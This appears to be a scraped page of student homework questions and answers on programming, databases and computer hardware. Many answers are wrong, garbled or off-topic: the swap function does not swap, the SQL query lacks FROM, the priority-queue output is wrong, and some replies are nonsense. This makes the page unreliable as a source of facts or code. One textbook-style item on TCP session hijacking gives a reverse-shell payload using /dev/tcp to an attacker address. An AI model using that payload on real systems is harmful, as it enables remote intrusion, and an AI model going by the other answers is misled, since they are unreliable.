Answer:
computer users interact with their programs and applications through external devices called hardware, which allow the user to issue commands to computer programs, while also allowing these programs to issue responses to those commands. Thus, for example, the user interacts with the computer through the keyboard, by means of which he sends commands to certain programs that in turn respond, for example, through the monitor or the speakers.
16238)
Which type of device often controls iot
tasks?
Desktop
Laptop
Samart phone
switch
Answer:
Consumer connected devices include smart TVs, smart speakers, toys, wearables and smart appliances. Smart meters, commercial security systems and smart city technologies -- such as those used to monitor traffic and weather conditions -- are examples of industrial and enterprise IoT devices.
what is a web client
Answer:
Web client:it is an application(web browser,program etc ) that requests for service from a web server.
stay safe healthy and happyWrite a function NumberOfPennies() that returns the total number of pennies given a number of dollars and (optionally) a number of pennies. Ex: 5 dollars and 6 pennies returns 506.
Sample program:
#include
using namespace std;
int main() {
cout << NumberOfPennies(5, 6) << endl; // Should print 506
cout << NumberOfPennies(4) << endl; // Should print 400
return 0;
Answer:
Following are the code to the given question:
#include <iostream>//header file
using namespace std;
int NumberOfPennies(int ND, int NP=0)//defining a method that accepts two parameters
{
return (ND*100 +NP);//use return keyword that fist multiply by 100 then add the value
}
int main() //main method
{
cout << NumberOfPennies(5,6) << endl; // Should print 506
cout << NumberOfPennies(4) << endl; // Should print 400
return 0;
}
Output:
506
400
Explanation:
In the method "NumberOfPennies" it accepts two parameters that are "ND and NP" that uses the return keyword that multiply 100 in ND variable and add in NP variable and return its values.
In the main method it it uses the cout method that call the by accepts value in parameter and print its value.
The moment that S-locks are released will determine:__________
a. The granularity of locks
b. The compliance with ACID
c. The look-ahead logging strategy
d. The anomalies that can happen
Answer:
A.
Explanation:
In computer science, the selection of a lockable device is an essential consideration in the creation of a database management system.
Granularity locking is a locking technique that is applied in database management systems (DBMS) as well as relational databases. The granularity of locks corresponds to how much data is locked at once, and it is determined when S lock (Shared Locks) are released.
The moment that S-locks are released will determine the granularity of locks (Option a).
A lock can be defined as a procedure capable of enforcing limits on access to a particular resource when there exist many threads of execution.Multiple granularity locking (abbreviated as MGL) is a locking strategy employed in database management systems and also in relational databases. This strategy (multiple granularity locking) is often used in order to ensure serializability.In conclusion, the moment that S-locks are released will determine the granularity of locks (Option a).
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You work part time at a computer repair store. You just upgraded the processor in a customer's computer. The computer starts, but it shuts down shortly after starting Windows. Because you know that the problem is related to the processor, you will check any issues related to the processor installation. In this lab, you task is to diagnose and correct the problem.
Answer:
Explanation:
If the computer is starting up and getting into windows then this means that the processor itself is not dead. First, check to see if the processor fan is spinning correctly when turning on the computer. If it is, then you will need to remove it, and make sure that the processor is perfectly slotted within the cpu slot and that no pins are bent. If this is the case, then clean the cpu top with an alcohol swab and reapply thermal paste. If it is overheating due to any of these reasons it would cause the pc to power off in order to preserve the processor. If none of these fix the problem then it might be a faulty processor or a problem with another component such as the RAM or power cables.
Character positions in
arrays start counting with
the number 1.
True
False
Answer:
False.
Explanation:
A data dictionary can be defined as a centralized collection of information on a specific data such as attributes, names, fields and definitions that are being used in a computer database system.
In a data dictionary, data elements are combined into records, which are meaningful combinations of data elements that are included in data flows or retained in data stores.
This ultimately implies that, a data dictionary found in a computer database system typically contains the records about all the data elements (objects) such as data relationships with other elements, ownership, type, size, primary keys etc. This records are stored and communicated to other data when required or needed.
In Computer programming, an array can be defined as data structure which comprises of a fixed-size collection of variables each typically holding a piece of data and belonging to the same data type such as strings or integers.
This ultimately implies that, when a programmer wishes to store a group of related data (elements) of the same type, he or she should use an array.
Generally, character positions in arrays start counting with the number 0 not 1.
Hence, an array uses a zero-based indexing and as such the numbering or position of the characters (elements) starts from number 0. Thus, the first character (element) in an array occupies position zero (0), the second number one (1), the third number two (2) and so on.
Multiply the following two Tom's Tiny floating-point format numbers (8-bit: sign bit, 3-bit 2's complement exponent, 4-bit fraction). Make sure to correctly round the result before putting the answer back in the 8-bit format.
A = 10010011
B = 10101000
AxB = _______
Answer:
A*B = 00111100
Explanation:
Given data :
A = 10010011
B = 10101000
Find A * B
For A = 10010011 express in sign bit , exponent and number
repeat same process for B
attached below is a detailed solution
A*B = 00111100
Identify the logic error in the code below. The code is supposed to display a single message “child”, “adult” or “senior” for any value of age:
if (age < 18) {
System.out.println("child");
} else if (age >= 18) {
System.out.println("adult");
} else if (age > 65) {
System.out.println("senior");
}
Question 1 options:
a)
no message for age = 65
b)
too many messages for age = 18
c)
no message for age < 65
d)
message “senior” will never be displayed
If we take a look at the first else if block, the code runs whenever the age is greater than or equal to 18. This means that senior will never be displayed. Answer choice D is correct.
Consider the following pseudocode.
i = 0
sum = 0
REPEAT UNTIL i = 4
i = 1
sum++
DISPLAY sum
What is the output?
Considering the pseudocode :
i = 0
sum = 0
REPEAT UNTIL i = 4
i = 1
sum++
DISPLAY sum
The output of the pseudocode will be 4.
pseudocodepseudocode is a plain language description of the steps in an algorithm or another system.
Let's write the code in python.
i = 0
sum = 0
while i < 4:
sum += 1
i += 1
print(sum)
Code explanation:The first line of code, we initialise i as zero.The sum was also initialise as zero.Then we use the while loop to loop through i until its less than 4.Then we add one to the sum for each loop.Then, increase the value of i to continue the loop.Finally, we print the sum.learn more on pseudocode here : https://brainly.com/question/17101205
I wish we could visit Paris for the holidays into exclamatory
Answer:
wdym
Explanation:
In the following cell, we've loaded the text of Pride and Prejudice by Jane Austen, split it into individual words, and stored these words in an array p_and_p_words. Using a for loop, assign longer_than_five to the number of words in the novel that are more than 5 letters long. Hint: You can find the number of letters in a word with the len function.
Answer:
Explanation:
Since the array is not provided, I created a Python function that takes in the array and loops through it counting all of the words that are longer than 5. Then it returns the variable longer_than_five. To test this function I created an array of words based on the synapse of Pride and Prejudice. The output can be seen in the attached picture below.
def countWords(p_and_p_words):
longer_than_five = 0
for word in p_and_p_words:
if len(word) > 5:
longer_than_five += 1
return longer_than_five
Explain why robots are better at some jobs than human workers are.
Answer:
Because humans have human minds meaning there are chances of errors, and or mistakes. and they do the same thing over and over with precise precision
Explanation:
hope this helps :)
A digital computer has a memory unit with 16 bits per word. The instruction set consists of 72 different operations. All instructions have an operation code part(opcode) and an address part(allowing for only one address). Each instruction is stored in one word of memory.
Required:
a. How many bits are needed for the opcode?
b. How many bits are left for the address part of the instruction?
c. What is the maximum allowable size for memory?
d. What is the largest unsigned binary number that can be accommodated in one word of memory?
Answer:
a. 7 bits b. 9 bits c. 1 kB d. 2¹⁶ - 1
Explanation:
a. How many bits are needed for the opcode?
Since there are 72 different operations, we require the number of bits that would contain 72 different operations. So, 2ⁿ ≥ 72
72 = 64 + 8 = 2⁶ + 8
Since n must be an integer value, the closest value of n that would contain 72 different operations is n = 7. So, 2⁷ = 128
So, we require 7 bits for the opcode.
b. How many bits are left for the address part of the instruction?
bits left = bits per word - opcode bit = 16 - 7 = 9 bits
c. What is the maximum allowable size for memory?
Since there are going to be 2⁹ bits to addresses each word and 16 bits for each word, the maximum allowable size for memory is thus 2⁹ × 16 = 512 × 16 = 8192 bits.
We convert this to bytes
8192 bits × 1 byte/8 bits = 1024 bytes = 1 kB
d. What is the largest unsigned binary number that can be accommodated in one word of memory?
Since the number go from 0 to 2¹⁶, the largest unsigned binary number that can be accommodated in one word of memory is thus
2¹⁶ - 1
Adobe Indesign project 4 museum indesign file. The instructions are 70 pages long I cant sit still long enough to read them
Answer:
? Read on to learn about the possible reasons and resolutions. ... Check whether you have the latest update installed for InDesign. ... InDesign cannot open the file when your system does not have enough memory ... Copy page elements into a new document.
Explanation:
Consider the following statements. An abstract class is better than an interface when the variables in the abstract class or interface are likely to have changing values. An interface is better than an abstract class when nearly all of the methods in the abstract class or interface are abstract. An abstract class is better than an interface if new methods are likely to be required in the abstract class or interface in the future. An abstract class is better than an interface if a sub class is likely to need to inherit more than one super class. Which of the choices below is correct?
a. I and Il are true
b. I and III are true
c. II and III are true
d. I, II, and III are true
e. I, III, and I are true
There is an active Telnet connection from a client (10.0.2.5) to a Telnet server(10.0.2.9). The server has just acknowledged a sequence number1000, and the client has just acknowledged a sequence number 3000. An attacker wants to launch the TCP session hijacking attack on the connection, so he can execute a command on the server. He is on the same local area network as these two computers. You need to construct a TCP packet for the attacker. Please fill in the following fields:
• Source IP and Destination IP
• Source port and Destination port
• Sequence number
• The TCP data field.
Answer:
Answer is mentioned below.
Explanation:
Source IP and Destination IP: 10.0.2.5, 10.0.2.9 Source port and Destination port: for source port, we need to sniffer a packet in this Sequence number: 3001 The TCP data field: “/bin/bash –l > /dev/tcp/10.0.20/9090 2>&1 0<&1”I hope you find the answer helpful. All the codes are correctly mentioned. Thanks
Whatever programming language you use will ultimately need to be translated into binary in order for the computer to understand it.
a. True
b. False
Answer:
Javascript:
function translate(what) {
if (what) {
return 1;
} else if (!what) {
return 0;
}
}
translate(true);
Explanation:
True is 1;
False is 0;
d. Chipboard
4. Which component of a computer connects the processor to the other hardw
a. Motherboard
b. CPU
c. Punch card
d. Chip
5. Which is referred to the brain of computer?
a. Processor
b. RAM
c. ROM
d Hard drive
6. How many parts are consists in a computer for information processing cycle?
a. Only one part
b. Two parts
Three parts
d Four parts
7. Which among the following if absent, a computer is not complete?
a. Mouse
b. DVD
c. Projector
d. User
8
GET AT
Answer:
7
Explanation:
Construct a SQL query that displays a list of colleges, their sity/state, the accrediting agency, and whether or not the school is distance only. Only show the first 10 records.
Answer:
SELECT college, city_state, accre_agency, distance LIMIT 10
Explanation:
Given
Table name: College
See attachment for table
Required
Retrieve top 10 college, state, agency and school distance from the table
To retrieve from a table, we make use of the SELECT query
The select statement is then followed by the columns to be selected (separated by comma (,))
So, we have:
SELECT college, city_state, accre_agency, distance
From the question, we are to select only first 10 records.
This is achieved using the LIMIT clause
i.e. LIMIT 10 for first 10
So, the complete query is:
SELECT college, city_state, accre_agency, distance LIMIT 10
Implement in a programming language of your choice the void function swap( a, b ) that exchanges the values of 2 passed actual int parameters a and b. State which language you select. Actual parameters a and b are 2 distinct addressable programming objects (variables).
Answer:
Javascript.
function swap(a, b) {
a = b;
b = a;
// can you explain more, aka for what to return
}
Explanation:
8.
A bank offers the following rate of interest for fixed deposit:
Time (Years)
Rate (%)
9.0
1 to 2
10.0
2 to 3
11.0
> 3
12.0
The amount (A) after n years is calculated by using the formula :
A = P (1 + r/100)
Where P = Principal amount deposited, ,
R = Rate of interest,
n = Number of years
Write a program to accept deposited amount (P), number of years the amount is deposited for (n) and compute
the accrued amount for an investor.
Answer:
Simple interest does not add any interest rate on the interest amount ... r = Rate of Interest ... principal amount with the rate of interest and the tenure of the loan or deposit. ... (P x r x t) ÷ (100 x 12) ... Example 1: If you invest Rs.50,000 in a fixed deposit account for a period of 1 year at ... (5,00,000 x 18 x 3) ÷ 100 = Rs.2,70,000.
Explanation:
Q : Write a simple code, which basically takes a integer value from PC terminal and calculates the solutions on Arduino board and replays the answers to the PC terminal.
a. Power of given value.
b. If number is prime number or not.
you should upload your answers with *.c file with necessary comments.
Answer:
I have uploaded my answers with *.c file with necessary comments.
Explanation:
a. Power of given value.
A
#include <stdio.h>
int main() {
int base, exp;
long long result = 1;
printf("Enter a base number: ");
scanf("%d", &base);
printf("Enter an exponent: ");
scanf("%d", &exp);
while (exp != 0) {
result *= base;
--exp;
}
printf("Answer = %lld", result);
return 0;
}
b. If number is prime number or not.
#include <stdio.h>
int main() {
int n, i, flag = 0;
printf("Enter a positive integer: ");
scanf("%d", &n);
for (i = 2; i <= n / 2; ++i) {
// condition for non-prime
if (n % i == 0) {
flag = 1;
break;
}
}
if (n == 1) {
printf("1 is neither prime nor composite.");
}
else {
if (flag == 0)
printf("%d is a prime number.", n);
else
printf("%d is not a prime number.", n);
}
return 0;
}
Hope this helps!!!
Why is it best to serve cheese with plain breads or crackers?
Answer:Here's why it works: Club crackers are engineered to be the perfect amount of buttery and salty, which means that, sometimes, they're all you can taste if paired with the wrong cheese.
Explanation:
A database designer wants to create three tables: Supplier, Product, and Country. The Supplier table has a Countryld column with values that must appear in the Country table's Countryld column. The Product table has an auto-increment column.
Which table's CREATE TABLE statement(s) must specify a FOREIGN KEY?
a. Supplier
b. Product
c. Country
d. Supplier and Country
Answer:
(a) Supplier
Explanation:
In database design, two tables are linked together using a FOREIGN KEY. A foreign key is formed from one or more columns of one table that reference or match another key (often called a primary key) in another table. In other words, when a column or a combination of columns on one table points to a primary key of another table, the column(s) will specify the foreign key.
PS: A primary key is used to make each entry of a table unique.
In the given tables - Supplier, Product, Country - since the Supplier table has a column called CountryId referencing the CountryId column of the Country table, then CountryId is a primary key in Country table but a foreign key in Supplier table.
Therefore, the CREATE TABLE statement(s) of the Supplier table must specify a foreign key.
A database management system often reads and writes data in a database, and makes sure there is consistency and availability. The supplier table's CREATE TABLE statement(s) must specify a FOREIGN KEY.
The database system often guards data when a lot of transactions is taking place. it often hinders multiple transactions with the same data at the same time.The Select SQL statement does not alter any database data. A supplier database is made up of different list of service, product or materials providers who can meet orders quickly.
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Holding all else constant a higher price for ski lift tickets would be expected to
Answer:
answer is below
Explanation:
decrease the number of skis sold
The following Integer values are pushed onto a stack, s. The values are pushed onto s in the order that they appear below (left to right).
1 7 4 6 10 9
Assume the following declaration has been made.
PriorityQueue priQue new PriorityQueuecinteger> :
Values are popped off the stack, s, and as each value is popped off the stack, it is inserted into the priority queue, priQue. The following code is then executed.
while (!priQueue.isEmpty()){
System.out.println (priQue.remove ())
The numbers printed to the screen would be: ______
Answer:
9 10 6 4 7 1
Explanation:
When the values are pushed to the stack they would end up in the stack in the same order as they go in.
1 7 4 6 10 9
when elements are popped from a stack they are removed from the end to the beggining of the stack, and since these elements are being added to the priorityQueue then priQue will have the following order
9 10 6 4 7 1
this will also be the order that the numbers will be printed out from left to right since priorityQueue remove method, removes the elements from left to right.
The following implementations of the method reverse are intended to reverse the o rder of the elements in a LinkedList.
I.
public static void reverse (LinkedList alist)( LinkedList temp = new LinkedList (); while (aList.size ()>0) temp.addLast (aList.removeFirst ) aList.addFirst (temp.removeFirst ) while (temp.size ()> o)
II.
public static void reverse (LinkedList alist) while (aList.size () >0) while (Itemp.isEmpty 0) QueuecSomeType> temp new LinkedList 0: temp.add (alist.removeFirst ()): aList.addFirst (temp.remove ():
IlI.
public static void reverse (LinkedList alist) while (aList.size ()>0) while (Itemp.isEmpty()) Stack temp new Stack ( temp.push (aList.removeLast ()) aList.addFirst (temp.pop ());
Which of the choices above perform the intended task successfully? Why?
a. I only
b. Il only
c. Ill only
d. Il and Ill only
e. I, ll, and IlI
Answer:
c. Ill only
Explanation:
All of the code snippets provided are missing small details such as brackets in the correct places and '=' to signal an assignment. These are crucial when coding in Java and the code will not run without it. Regardless, the only implementation that is correct in the options would be implementation III. It is the only code snippet that is correctly structured to reverse the order of the elements. It will still need debugging in order to get it to work.
IlI.
public static void reverse (LinkedList alist) while (aList.size ()>0) while (Itemp.isEmpty()) Stack temp new Stack ( temp.push (aList.removeLast ()) aList.addFirst (temp.pop ());
Newton's method has the advantage of having a faster quadratic convergence rate over the other methods such as Secant and bisection methods.
a. True
b. False
Answer:
a. True
Explanation:
The Newton's method (Newton-Raphson method) used in advanced statistical computing can be used for a continuous and differentiable function that can be approximated by a straight line tangent to it. It requires the derivative of the function to be known, Newton's method converges faster that is whenever it converges. Newton Raphson Method has quadratic convergence which is faster, and the quadratic convergence makes the error in the next iteration increase by the square of the value of the previous iteration.
Another method that might be desired is one that updates the Goalie's jerseyNumber. This method will receive a new number of Jersey and set this number to the Goalie's current jerseyNumber. What methods would accomplish this?
Answer:
A setter method
Explanation:
A setter method will accomplish this. A setter method is a method that takes in a value as an argument and grabs an object's instance variable and modifies it with the value passed as an argument. In this scenario, the argument value would be the current JerseyNumber. The setter method will grab the object's jerseyNumber variable and change its value to be the value of the passed argument. Setter methods are common practice in all object classes as well as the getter methods to retrieve instance variables.
Which of these is a good thing to consider when naming variables?
The name should be readable and make sense
Keep it short, less typing
Use only letters
O Sentences are Tood variable names.
Answer:
The name should be readable and make sense
Explanation:
Aside the rules involved in naming variables, there are also some good tips which should be considwred when given names to our variables. These means there are some variables which are acceptable by our program but may be avoided in other to make our codes easier to read by us and others and it also makes debugging easier when we run into errors. Using short variables are acceptable on code writing as far as the rules are followed. However, it is more advisable to use names that are descriptive and readable such that it relates to the program or code being worked on. This ensures that we and others can follow through our lines of code at a much later time without making mistakes or forgetting what the variable stands for.